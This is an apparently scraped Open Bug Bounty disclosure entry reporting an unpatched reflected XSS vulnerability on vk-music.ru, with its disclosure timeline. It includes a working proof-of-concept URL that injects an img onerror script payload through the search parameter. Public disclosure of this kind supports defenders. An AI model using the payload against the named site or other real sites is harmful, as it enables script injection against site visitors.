Lucene search

K
openbugbountyOmniGoochOBB:186895
HistoryOct 16, 2016 - 10:15 p.m.

vk-music.ru XSS vulnerability

2016-10-1622:15:00
OmniGooch
www.openbugbounty.org
4
Vulnerable URL:
http://vk-music.ru/?q=%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3E
Details:
Description Value
Patched: No
Latest check for patch: 27.07.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 1160639
VIP website status: No
Check vk-music.ru SSL connection: (Grade: F)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 16 October, 2016 22:15 GMT
Generic security notifications sent to website owner 16 October, 2016 22:18 GMT
Vulnerability details disclosed by researcher 23 October, 2016 23:14 GMT